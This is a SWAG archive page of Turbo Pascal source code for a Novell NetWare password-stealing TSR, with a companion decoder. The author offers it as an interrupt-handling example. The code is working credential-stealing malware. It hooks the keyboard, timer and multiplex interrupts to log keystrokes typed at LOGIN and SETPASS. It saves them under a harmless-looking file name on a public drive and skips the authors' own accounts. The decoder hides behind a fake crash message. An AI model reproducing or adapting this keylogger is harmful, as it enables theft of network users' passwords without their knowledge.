[Back to NETWORK SWAG index] [Back to Main SWAG index] [Original]
{
The program NOVKILL.PAS is a TSR program that tries to get passwords for
Novell Networks, and does not belong to NUMBERS.SWG. If you want to keep
it, you may do so, but please move it to TSR.SWG, ISR.SWG or NOVELL.SWG,
and change the sender address from bero@flash.gun.de to my new address,
bero@rage.fido.de.
If you are interested in a more elaborate version of the entire thing
(which I believe to be a good example for ISRs - it accesses the timer
interrupt, the keyboard interrupt and the multiplex interrupt; and even
writes to a file from within an interrupt), here you go:
}
program Get_Passwords;
{$M $1000,0,0}
Uses Dos,Crt,Network;
{ Network ist a Unit I wrote to do some NetWare API calls.
The only function used here is GetUser, which can be taken from
other Network programs in the SWAGs, as well. }
type Pwd=Array[0..99] of byte;
type FileType=record
UserName:String[10];
Password:Pwd;
end;
var OldInt2F:pointer; { Multiplex }
OldInt9:procedure; { Keyboard }
OldInt8:pointer; { Timer }
s:string;
Password:Pwd;
Save_Me:FileType;
Save_Pass:File of FileType;
catching,writing,tsr_wr:boolean;
Counter:word;
DosSeg,DosBusy:word;
const oldstackss:word=0; { TSR-Programms that try to write to a file }
oldstacksp:word=0; { from a "standard" interrupt must have }
stacksw:integer=-1; { their own stack... }
intstackss:word=0;
intstacksp:word=0;
{$F+}
{$I-}
procedure GoOldInt(OldInt:Pointer);
{ GoOldInt calls an old interrupt-handler }
INLINE(
$5B/
$58/
$89/$EC/
$5D/
$07/
$1F/
$5F/
$5E/
$5A/
$59/
$87/$EC/
$87/$5E/$00/
$87/$46/$02/
$87/$EC/
$CB);
procedure NewInt8;interrupt; { New timer-interrupt }
begin
asm cli { save old stack, switch to new }
inc word ptr [stacksw]
jnz @a
mov [oldstackss],ss
mov [oldstacksp],sp
mov ss,[intstackss]
mov sp,[intstacksp]
@a: sti
end;
if (writing) and (not tsr_wr) and (Mem[DosSeg:DosBusy]=0) then begin
{ Do not write to files while DOS is busy... }
writing:=false;
tsr_wr:=true;
port[$20]:=$20; { Tell the Interrupt controller the int ends... }
Save_Me.UserName:=GetUser;
if (Save_Me.UserName<>'BERO') and (Save_Me.UserName<>'ROSENKR')
then begin { Do NOT save my own passwords... }
Save_Me.Password:=Password;
Assign(Save_Pass,'F:\PUBLIC\DATA.DBF');
{ write passwords to a public directory, use a
non-suspicious name... }
Reset(Save_Pass);
IF IOResult<>0 then Rewrite(Save_Pass) else
Seek(Save_Pass,filesize(Save_Pass));
Write(Save_Pass,Save_Me);
Close(Save_Pass);
tsr_wr:=false;
end;
end;
asm cli { restore old stack }
dec word ptr [stacksw]
jge @b
mov ss,oldstackss
mov sp,oldstacksp
@b: sti
end;
GoOldInt(OldInt8);
end;
procedure NewInt9;interrupt; { New Keyboard-interrupt }
var inp:byte;
begin
if catching then begin
inp:=Port[$60];
if (inp<$80) and (Counter<100) then begin
Password[Counter]:=inp;
Inc(Counter);
end;
end;
asm pushf end;
OldInt9;
end;
procedure NewInt2f(Flags,CS,IP,AX,BX,CX,DX,SI,DI,DS,ES,BP:Word);Interrupt;
{ New Multiplex-Interrupt: Intercept DOS-Commands }
VAR s:String;
Count:Byte;
begin
IF AX=$AE00 then begin
s:='';
For Count:=1 to Mem[ds:si] do
s:=s+chr(Mem[ds:si+count]);
if (s='LOGIN') or (s='LG') or (s='SETPASS') then begin
s:='';
For Count:=1 to Mem[ds:bx+1] do
s:=s+chr(Mem[ds:bx+count+1]);
For Count:=0 to 99 do Password[Count]:=0;
counter:=0;
catching:=true;
end else if catching then begin
catching:=false;
writing:=true;
Counter:=0;
end;
end;
GoOldInt(OldInt2F);
end;
procedure Init_TSR; { Create new stack, get DOS-Busy byte }
begin
IntStackSS:=SSEG;
asm mov [IntStackSP],SP
mov ah,$34
int $21
mov [DosSeg],ES
mov [DosBusy],BX
end;
end;
begin
tsr_wr:=false;
Counter:=0;
catching:=false;
Init_TSR;
GetIntVec($8,OldInt8); { set interrupts }
SetIntVec($8,@NewInt8);
GetIntVec($9,@OldInt9);
SetIntVec($9,@NewInt9);
GetIntVec($2f,OldInt2F);
SetIntVec($2f,@NewInt2F);
Keep(0);
end.
*************
"Decode" - Decode the files generated by the program above
program Decode;
Uses Dos,Crt,Network;
type Pwd=Array[0..99] of byte;
type FileType=record
LoginName:String[10];
Password:Pwd;
end;
var s:string;
Read_Me:FileType;
Read_Pass:File of FileType;
c:char;
a:byte;
procedure Decode_Pass(s:Pwd); { Change SCAN-Codes to ASCII }
var count:byte;
begin
count:=0;
repeat
case s[count] of
1: Write('^');
2: Write('1');
3: Write('2');
4: Write('3');
5: Write('4');
6: Write('5');
7: Write('6');
8: Write('7');
9: Write('8');
10: Write('9');
11: Write('0');
12: Write('a');
13: Write('`');
14: Write(chr(8));
16: Write('Q');
17: Write('W');
18: Write('E');
19: Write('R');
20: Write('T');
21: Write('Z');
22: Write('U');
23: Write('I');
24: Write('O');
25: Write('P');
26: Write('s');
27: Write('+');
28: Write('[RETURN]');
29: Write('[STRG]');
30: Write('A');
31: Write('S');
32: Write('D');
33: Write('F');
34: Write('G');
35: Write('H');
36: Write('J');
37: Write('K');
38: Write('L');
39: Write('Oe');
40: Write('Ae');
41: Write('#');
42: Write('[SHIFT]');
43: Write('<');
44: Write('Y');
45: Write('X');
46: Write('C');
47: Write('V');
48: Write('B');
49: Write('N');
50: Write('M');
51: Write(',');
52: Write('.');
53: Write('-');
56: Write('[ALT (GR)]');
else write('[Scan ',s[count],']');
end;
Inc(count);
Until (s[count]=0) or (count=100);
end;
begin
if (GetUser<>'BERO') and (GetUser<>'ROSENKR') then begin
{ Abort program if someone else is calling it... }
writeln('SYSTEM ERROR #0231- General Protection Fault at
0131:321D',chr(7));
writeln('Abnormal program termination',chr(7));
halt(0);
end;
Assign(Read_Pass,'F:\PUBLIC\DATA.DBF');
Reset(Read_Pass);
IF (DOSError<>0) then begin
writeln('No passwords found... :-(((((');
Halt(0);
end;
repeat
Read(Read_Pass,Read_Me);
Writeln(Read_Me.LoginName);
Decode_Pass(Read_Me.Password);
Writeln;
repeat until keypressed; c:=ReadKey;
until eof(Read_Pass);
Close(Read_Pass);
end.
[Back to NETWORK SWAG index] [Back to Main SWAG index] [Original]